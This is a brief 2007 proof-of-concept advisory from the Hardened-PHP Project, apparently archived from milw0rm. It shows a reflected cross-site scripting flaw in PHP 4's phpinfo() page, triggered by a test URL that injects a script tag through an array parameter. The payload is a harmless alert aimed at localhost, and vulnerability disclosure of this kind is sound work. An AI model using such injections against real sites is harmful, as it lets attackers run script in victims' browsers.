18 lines
No EOL
1.1 KiB
Text
18 lines
No EOL
1.1 KiB
Text
////////////////////////////////////////////////////////////////////////
|
|
// _ _ _ _ ___ _ _ ___ //
|
|
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
|
|
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
|
|
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
|
|
// //
|
|
// Proof of concept code from the Hardened-PHP Project //
|
|
// (C) Copyright 2007 Stefan Esser //
|
|
// //
|
|
////////////////////////////////////////////////////////////////////////
|
|
// PHP 4 - phpinfo() XSS Testcase //
|
|
////////////////////////////////////////////////////////////////////////
|
|
|
|
To manually test for this vulnerability just call the phpinfo() page with a parameter like this.
|
|
|
|
http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>
|
|
|
|
# milw0rm.com [2007-03-04] |